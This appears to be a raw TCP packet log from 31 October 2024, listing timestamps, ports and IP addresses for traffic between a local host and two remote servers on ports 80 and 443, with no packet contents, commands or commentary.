Oct 31, 2024 05:07:28.633481026 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.633491993 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.633501053 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.633502007 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.633522034 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.633526087 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.633526087 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.633533001 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.633546114 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.633562088 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.633574009 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.633606911 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.633606911 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.634411097 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.638211966 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.677696943 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.677719116 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.677730083 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.677809000 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.677809000 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.716814995 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.716833115 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.716844082 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.716869116 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.716924906 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.719446898 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.719458103 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.719468117 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.719530106 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.719530106 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.749892950 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.749905109 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.749916077 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.749954939 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.749980927 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.750149012 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.750159979 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.750173092 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.750183105 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.750195980 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.750207901 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.750207901 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.750211000 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.750224113 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.750257969 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.750267982 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.750524044 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.750533104 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.750581026 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.750581026 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.750603914 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.750657082 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.750670910 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.750682116 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.750698090 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.750719070 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.750719070 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.750734091 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.750978947 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.750989914 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.751000881 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.751033068 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.751044035 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.751061916 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.751071930 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.751071930 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.751091003 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.751127958 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.751524925 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.751602888 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.751602888 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.751677990 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.794724941 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.794812918 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.794939041 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.794953108 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.795008898 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.795008898 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.833805084 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.833817959 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.833827972 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.833839893 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.833878040 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.833878040 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.836282015 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.836292028 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.836302042 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.836321115 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.836354971 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.836354971 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.844480038 CET	443	49931	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:28.844562054 CET	49931	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:28.848018885 CET	49931	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:28.848030090 CET	443	49931	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:28.848273039 CET	443	49931	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:28.850102901 CET	49931	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:28.850145102 CET	49931	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:28.850187063 CET	443	49931	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:28.866666079 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.866688013 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.866698027 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.866708040 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.866719961 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.866725922 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.866725922 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.866730928 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.866802931 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.867002010 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.867018938 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.867068052 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.867068052 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.867110014 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.867127895 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.867144108 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.867156029 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.867178917 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.867203951 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.867476940 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.867487907 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.867505074 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.867516994 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.867527008 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.867530107 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.867542028 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.867567062 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.867948055 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.867959023 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.867969990 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.867981911 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.867993116 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.868016958 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.868066072 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.868367910 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.868380070 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.868391037 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.868406057 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.868448973 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.911611080 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.911624908 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.911636114 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.911700964 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.911700964 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.950371027 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.950423002 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.950444937 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.950455904 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.950495005 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.950525999 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.950555086 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.953253984 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.953289032 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.953310013 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.953341007 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.953350067 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.953357935 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.953393936 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.983751059 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.983764887 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.983786106 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.983803034 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.983814955 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.983827114 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.983839035 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.983854055 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.983856916 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.983865976 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.983876944 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.983877897 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.983887911 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.983927965 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.983927965 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.984483957 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.984498024 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.984508991 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.984523058 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.984553099 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.984606028 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.984893084 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.984903097 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.984914064 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.984935999 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.984946012 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.984947920 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.984999895 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.984999895 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.985167027 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.985244036 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.985255003 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.985297918 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.985304117 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.985315084 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.985327005 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:28.985362053 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:28.985362053 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.028436899 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.028451920 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.028462887 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.028542042 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.028542042 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.067362070 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.067377090 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.067388058 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.067456007 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.067490101 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.070102930 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.070143938 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.070153952 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.070164919 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.070266008 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.100545883 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.100568056 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.100577116 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.100656033 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.100666046 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.100703955 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.100703955 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.100769043 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.100785971 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.100796938 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.100816965 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.100848913 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.100884914 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.100894928 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.100944042 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.101217031 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.101227045 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.101238966 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.101275921 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.101289988 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.101352930 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.101408005 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.101417065 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.101418972 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.101449013 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.101459980 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.101471901 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.101836920 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.101938009 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.101949930 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.101959944 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.101990938 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.101998091 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.102013111 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.102024078 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.102034092 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.102041960 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.102041960 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.102046967 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.102056026 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.102075100 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.102107048 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.145349979 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.145370960 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.145382881 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.145436049 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.145483971 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.184209108 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.184221029 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.184231997 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.184300900 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.184329033 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.186964035 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.187012911 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.187068939 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.187078953 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.187093019 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.187294960 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.226129055 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.226141930 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.226152897 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.226181030 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.226186037 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.226198912 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.226210117 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.226222038 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.226222992 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.226258039 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.226269007 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.226283073 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.226294041 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.226304054 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.226306915 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.226320028 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.226330042 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.226353884 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.226370096 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.226593971 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.226603985 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.226615906 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.226656914 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.226669073 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.226670027 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.226670027 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.226685047 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.226697922 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.226728916 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.226728916 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.226738930 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.226751089 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.226762056 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.226774931 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.226780891 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.226787090 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.226835966 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.226835966 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.228127956 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.228143930 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.228172064 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.228218079 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.262165070 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.262176991 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.262187958 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.262250900 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.300961971 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.300976038 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.301012993 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.301054001 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.301062107 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.301073074 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.301120996 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.301120996 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.304001093 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.304013014 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.304023027 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.304085016 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.304096937 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.334328890 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.334345102 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.334362030 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.334372997 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.334441900 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.334441900 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.343063116 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.343099117 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.343111038 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.343122959 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.343142986 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.343168020 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.343194962 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.343194962 CET	49913	80	192.168.2.4	185.215.113.16
